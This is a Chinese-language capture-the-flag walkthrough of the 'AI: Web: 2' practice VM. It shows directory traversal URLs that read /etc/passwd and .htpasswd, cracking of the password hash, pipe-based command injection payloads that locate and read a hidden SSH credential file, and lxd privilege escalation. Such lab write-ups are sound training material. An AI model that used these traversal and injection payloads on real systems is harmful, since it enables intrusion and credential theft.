AI: Web: 2靶机-Walkthrough
Description:
Difficulty: Intermediate
Network: DHCP (Automatically assign)
Network Mode: NAT
This is the second box from the series AI: Web and you will have more fun to crack this challenge. The goal is simple. Get flag from /root/flag.txt
. Enumerate
the box, get low privileged shell and then escalate privilege to root.
You may need to crack password
. Use wordlist SecLists/rockyou-45.txt
by Mr. Daniel Miessler.
For any hint please tweet on @arif_xpress
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:hutuxiaohai@gmail.com
工具、知识点和漏洞
netdiscover
nmap
dirsearch
searchsploit
john
目录穿越(Directory Traversal)漏洞
远程命令执行(RCE)漏洞
Ubuntu 18.04 - ‘lxd’ Privilege Escalation
一、信息收集
netdiscover -r 192.168.0.0/24
靶机IP:192.168.0.108
nmap -sS -sV -T4 -A -p- 192.168.0.108
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: File Manager (Credit: XuezhuLi
)
XuezhuLi
可能是应用的一个用户
dirb http://192.168.0.108 -X .php,.html,.txt,.zip
登录时发现只有用户名,下载靶机描述里面提到的字典SecLists/rockyou-45.txt,对index.php
页面进行爆破,无果
。
访问download.php
页面结果自动把download.php
下载下来了,还是个空文件。
注册了一个admin
账户,登录进去发现啥也没有
二、目录穿越获取后台账户密码
Google一下"XuezhuLi FileSharing
"
exploit-db
XuezhuLi FileSharing - Cross-Site Request Forgery (Add User)
XuezhuLi FileSharing - Directory Traversal
利用目录穿越(Directory Traversal
)漏洞读取/etc/passwd
http://192.168.0.108/download.php?file_name=../../../../../../../../../../../../../etc/passwd
获得两个用户aiweb2
、n0nr00tuser
,使用hydra爆破ssh密码,无果。
包含一下apache2的认证文件
http://192.168.0.108/download.php?file_name=../../../../../../../../../../../../../etc/apache2/.htpasswd
aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
john爆破一下,得到用户名:aiweb2admin
密码:c.ronaldo
john --wordlist=/usr/share/wordlists/rockyou.txt htpwd.txt
john --show htpwd.txt
爆破管理后台,dirsearch需要自己从Github下载
python3 dirsearch.py -u http://192.168.0.108 -e .php,.txt,.zip
三、获得SSH账户密码
登录后台
登录后获得提示:I disallowed some contents from robots.
,访问/webadmin/robots.txt
,内容如下:
User-agent: *
Disallow:
Disallow: /H05Tpin9555/
Disallow: /S0mextras/
访问/webadmin/H05Tpin9555/
看到这个就想到可能存在远程命令执行(RCE)
漏洞
访问/webadmin/S0mextras/
看到提示:Find juicy information in this dir!!!
尝试了&
、&&
、;
、|
四种绕过执行单一命令的限制,发现|
可以绕过
根据第二个页面中的提示查看S0mextras
目录下的信息,先看看当前目录
POST请求内容:ip=192.168.0.109|pwd
&Submit=Submit,下同。
发现是/var/www/html/webadmin/H05Tpin9555
列出webadmin
目录下有什么
ip=192.168.0.109|ls /var/www/html/webadmin/
&Submit=Submit
H05Tpin9555
S0mextras
index.html
robots.txt
列出S0mextras
目录下有什么
ip=192.168.0.109|ls -la /var/www/html/webadmin/S0mextras
&Submit=Submit
这里无法正常识别-la
参数,只能看到一个index.html
文件,根据之前的提示里面应该还有其他的隐藏文件
用find
命令试一下
ip=192.168.0.109|find . -type f /var/www/html/webadmin/S0mextras/
&Submit=Submit
./style-main.css
./index.php
/var/www/html/webadmin/S0mextras/
/var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
/var/www/html/webadmin/S0mextras/index.html
从文件名上来看应该是ssh
账号密码
cat
读取隐藏文件
ip=192.168.0.109|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
&Submit=Submit
User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf
四、提权
sudo -l
提示n0nr00tuser无权限执行sudo命令
uname -a
Linux aiweb2host 4.15.0-62-generic
#69-Ubuntu SMP Wed Sep 4 20:55:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
尝试内核提权
我使用了第一个脚本47164.sh
,结果运行的时候提示如下错误,原因是这个脚本是作者在Windows系统下编辑的,由于不同系统编码格式不同,所以出了这样的错误。Linux系统下的转换方法是:使用vim打开脚本,设置脚本格式:set ff=unix
,参考这篇文章
后来又提示靶机没有安装gcc,由于安装gcc时需要当前用户执行sudo apt install gcc,而当前用户没有权限使用sudo命令导致后续的操作无法进行,内核提权终止。
lxd漏洞提权
下载LinEnum到靶机,以搜集一些信息用于提权。
./LinEnum -r report.txt
因为输出内容太多,所以将结果保存到文件中,然后使用命令less report.txt
查看,从头看到尾,就发现了这个lxd
下载到靶机之后,给予可执行权限chmod +x 46978.sh
,运行之后报错,因为这个脚本是在Windows系统里进行编辑的,不同系统之间的编码格式不一致,所以导致了这样的问题。查看脚本后,发现还需要下载另一个文件lxd-alpine-builder
运行build-alpine脚本的时候需要确保能够访问被墙的网络,因为脚本会下载一个apk文件,否则会报错,如下图所示:
脚本运行成功后会在同目录下生成一个压缩文件alpine-v3.10-x86_64-20190919_2303.tar.gz
,每个人执行后文件的名称可能不完全一样,因为它会加上系统的当前时间,如下图所示:
将这个压缩文件与之前的脚本46978.sh
放于靶机的同目录下
从图中可以看到第一次运行46978.sh的时候出错了,解决办法参考这篇文章
如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。